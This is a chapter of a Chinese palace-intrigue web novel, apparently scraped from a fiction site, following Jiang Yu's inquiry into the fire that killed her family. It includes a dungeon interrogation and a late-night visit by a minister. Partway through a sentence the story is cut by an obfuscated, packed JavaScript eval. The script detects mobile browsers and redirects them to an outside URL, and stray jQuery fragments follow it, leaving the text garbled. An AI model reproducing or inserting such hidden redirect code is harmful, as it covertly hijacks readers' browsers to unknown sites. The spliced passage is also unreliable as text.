默认冷灰
24号文字
方正启体

8. 第 8 章

作者:例子栗本书字数:K更新时间:
    江瑜急急赶回瑜园,玉影见她面色不对,上前道:“那蒋义如胆大包天,冒犯小姐了?”


    话问出口,玉影又觉得不对。蒋义如不过一介书生,江瑜已经会武,再加上身份悬殊,料想蒋义如就是借了十个胆子也不敢造次。


    “没有。”江瑜坐在桌前,拿出怀里的信,忽然顿了顿,问道:“哥哥和夫人都睡下了?”


    “睡下一阵了。怎么,小姐还有事找大少爷?”


    “没什么,”江瑜道:“你先下去吧。”


    借着月光,江瑜读完了蒋义如的信。和她之前预想的一样,她爹对蒋义如有知遇之恩,蒋义如亦对其崇敬有加,在得知裴家的死有蹊跷之后,心里必然震荡。投靠江瑜也就是一个必然的选择了。


    江瑜拿出纸笔,写了封回信,让他去调查两年前的裴家失火一事,最好能找出当年的卷宗和经手人。另外,她还往里面装了些银两,让他另外置办一处宅子,免得人多眼杂,不便于办事。最好再去收个机灵些的小厮,以后递信这种事就不必亲自过来了。


    做完这些,江瑜把信交给了玉影,这才洗漱上了床,结束这兵荒马乱的一天。


    第二天,江瑜起床的时候江涣之已经进宫上朝了,她没寻着机会与他说话。秦渊见她思绪杂乱,还罚她多练了几组修身养性的功法。


    刚过晌午,前院传来一阵喧哗声,江瑜叫来玉影,问是不是哥哥回来了。


    玉影道:“是陆山回来了,他还押回来一个人,说是从南疆抓回来的商人。”


    江瑜眉心一跳,商人,那不就是当年在裴家出事以后跳出来举报她爹收受贿赂的富商么?江瑜赶紧往前院走,刚走到书房就碰见了匆匆赶回来的江涣之,他扶着江瑜道:“当心些。”


    很快,江瑜就明白了江涣之为何让她当心。她到了江府这么久,竟还是第一次得知府中设有地牢,昏暗潮湿的地下,一股浓重的血腥味扑面而来。地底还淌着水,寒气逼人,江瑜就是在这里看见了那个浑身是伤的男人。


    江涣之对这样的人绝不手下留情,他在路上就吃了不少苦头,一到地牢更是大刑伺候。一瓢冷水泼去,江涣之的声音犹如一道催命符:“我再问你一遍,当年是谁指使你站出来指认裴大人?”


    牢中的人早已没了人样,他拼命摇着头,带着哭腔的嗓音含糊道:“大人饶命!是梅公子叫我这样做的……小的只是听命行事。可小的也没见过那梅公子真容……”


    梅公子?江瑜思忖片刻,京中没有什么氏族或臣子姓梅的。


    江涣之冷笑道:“他叫你这样做,你便这样做了?我倒是不知道世间竟有人这般好说话。快说,梅公子究竟是谁?”


    牢中之人抖得愈发厉害,他匍匐在地上,颤声道:“小的是当真不知啊!每次都是梅公子派中间人联络,我只管拿好处,中间人也都以兜帽遮脸……那梅公子更是从未现身过!”


    此人并非什么刚毅不屈的义士,只要用刑,不怕他不招。江涣之朝陆山使了个眼色,很快就有烙铁被放在火里的滋滋声。


    江涣之不想让江瑜看到接下来发生的一幕,带着她转身走了出去。


    一出地牢,江瑜问:“他的父母妻儿呢?就算不要自己的命,那也总得顾及亲人吧。”


    “在南疆。”江涣之派出的人一路追杀,他早就在逃亡中妻离子散了。


    江瑜想到那个神秘的梅公子,轻叹一声,苦笑道:“真没想到,一个小小的裴家,竟值得让人如此费尽心力地早早做局。”


    江涣之跟在她身后,一脸的若有所思。


    江瑜问:“既然他已承认了是受人指使,那么是不是该交给刑部,或是大理寺审?”


    江涣之摇了摇头,“他只是其中很小的一环,供词不足以翻案,甚至让圣上下令重启调查都不够。关键是他根本不知道指使他的人究竟是谁。”


    “那你打算怎么办?”


    “我打算再将他关几天,然后把人放了。”


    “放了?”江瑜还以为自己听错了,“谋害我爹的间接凶手,怎么能就这么放了?”


    “当然不是就这么放了。”江涣之道:“此人已是一枚弃子,留着也无用。可若是将他放了,再派人跟上,说不定能钓出他身后的大鱼。”


    江瑜看向地牢的方向,瞬间了然道:“他吃了那么多的苦,总不能白白咽下。冤有头债有主,他如今孤家寡人一个,就是刨地三尺也要与那头接上线,或是表功,或是……讹钱?他如今一穷二白,可不是什么富商了!”


    江涣之颔首道:“他自认没有说出任何有用的信息,那就是有功之人,可不得讹笔钱借此恩怨两讫?只要这人还在我的控制之下,那就不算完全无用。”


    江瑜听完也觉得有道理,用一个已经撬不出什么话的废子勾出身后的始作俑者,很划算。就算钓不出大鱼,那他们也没什么损失。


    天气渐渐热起来了,江涣之行至凉亭,抓了一把鱼食丢进湖中,鱼儿汇集一处,全都挤挤挨挨地张着嘴。江瑜无声看着这一幕,忽地听江涣之又道:“不论牵扯出来的那个人是谁,是不是梅公子,都一定不会是个简单人物。我的动作对方可能很快会察觉,你近些日子尽量不要单独出门。”


    江瑜应了一声,问道:“那个人是谁,你心里是不是已经有了怀疑?”


    江涣之默了一会儿,“原本有几个人选,但都一一否定了。”


    说到这里,他索性坐了下来,又抛下了些鱼食下去,“我最开始的想法是这样,谁能从裴家倒台一事中获利最大,谁就最有可能是凶手。你认为谁获利了?”


    江瑜思索半晌,“没有人获利,至少明面上是这样。”


    “这就是症结所在了。”江涣之道:“那就可能出于另一个缘由,为了掩盖罪行。会不会是你爹掌握了某项证据,足以将某人致死?那人为了自保而出手?”


    江瑜也朝这个方向想过,放火的举动本身就包含了毁灭证据的意思。人这一世汲汲营营,趋利避害是本能,趋利不成,那么很有可能就是为避害。可她想了许久,依旧没有头绪。


    “我想过朝中可能与我爹有过节的人。”江瑜无奈地道:“有倒是有,但太多了。”


    裴中丞就职于都察院,公务本身就包括了监察和弹劾百官,若说挡了谁的路,或查出了什么对谁不利的事,那范围实在太广。若人人都有嫌疑,那就等于人人都没有嫌疑。


    思及此,江瑜认为不如另辟蹊径。她虽然从不认为父亲参与过任何党派,但既然他在信中有过这样的怀疑,先不论真假,调查与他关系相近的人总比要广撒网来得好。


    “与我爹生前走得近的似乎只有赵太傅。我在想,会不会与他有关?”


    江瑜对赵太傅有一些了解,知道他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15625631|172342||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    为人古板,性情也耿直,可知人知面不知心,谁知道他心里怎么想的?从他急于退婚的行径来看,他对这个突遭变故的昔日好友毫无怀念,反倒是急于撇清关系,就算他不是主谋,那会不会在其中扮演了关键角色?


    可她没想到江涣之当即否定了这个怀疑,“赵家很清白,我早就查过了。”


    “你查出了什么?”


    江涣之有一瞬的迟疑,却还是道:“赵太傅也在调查裴家失火一事。”


    “什么?”这个答案大大出乎了江瑜的意料,赵太傅既然在查,这就说明他不仅没参与,更对此事全然不知情。江涣之言辞凿凿,定是有了万分确切的证据才会如此肯定。


    “好了,不要想那么多,容易忧思过度。”江涣之道:“背后的大鱼若是真钓出来了,我再告诉你。眼下只能先静观其变。”


    ……


    盛夏已至,江瑜耐不住这酷暑,江涣之每日让人往她房里送去许多冰块,她整个人也有些恹恹的,在瑜园里猫了一个多月,每日不是练武就是读书。


    秦渊起初让她用弓箭射靶子,后来她能百发百中了,便让她射活物。江瑜在后山从一个树梢飞到另一处枝杈,见着猎物就取出后背的箭矢,挽弓搭箭,一个多月下来后山的兔子几近绝灭。


    晚上要是再睡不着,江瑜就提着一壶酒到爹娘和弟弟的墓前,坐着与他们说说话,再像模像样地舞一套剑法,若他们泉下有知,也定能为她的进步感到欣慰。


    几场轰隆隆的大雨一下,京城倏然凉了下来。江瑜常坐在檐下看雨,或是举着万花镜,将这混沌天地分成一个个小块。有时看着看着,朦胧烟雨里就会出现江涣之的颀长身影,他常来看她,哪怕下着大雨也不例外。


    这天夜里,又是一场瓢泼大雨。一个头戴斗笠,身披蓑衣的老翁深夜造访江府。他独自走进书房,江涣之正坐在长桌前品茶,察觉到有人进来,他头也不回地道:“坐。”


    老翁取下蓑衣斗笠,露出一张苍老却肃穆的脸。他并未穿官袍,可要是有朝堂中人在场,定能认出这就是当朝宰臣之首,位列三公的中书令——林方叙。


    表面上,他与这位年轻气盛的大将军关系生疏,有时在朝堂上还会互相呛声几句。可私下里,林方叙熟稔地接过江涣之递来的茶,放在鼻端嗅了嗅,道了一声:“好茶。”


    江涣之眉目深锁,不知在想什么。林方叙也不与他兜圈子,热茶下肚暖了暖身子,便开门见山道:“陛下想把你留在京城,可有人想让你走。”


    江涣之对此并不意外,他反问道:“林大人也想让我走?”


    林方叙叹息道:“他们想让你走自是出于私欲,可老夫是见不得你趟这浑水。你还是回你的云中郡去罢。”


    江涣之为人一向谨慎,亦是个听劝之人。但他此刻忽地将手中茶盏往桌上一搁,执拗地道:“我还有事情没办完,在此之前我决不卸甲。”


    “你……”林方叙瞪着江涣之,发白的胡须也跟着抖了三抖,“朝中势力盘根错节,你一介武将拿什么与他们斗?”


    “我这不是还有林大人您么。”江涣之轻笑道,转眼间又变成那副不知天高地厚的混不吝模样了。


    林方叙“你”了半天,最终什么话也没说出口,趁着雨夜拂袖而去。


    江涣之依旧坐在廊下,茶水的淡雅香气盈满室内,雨声整夜未停。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)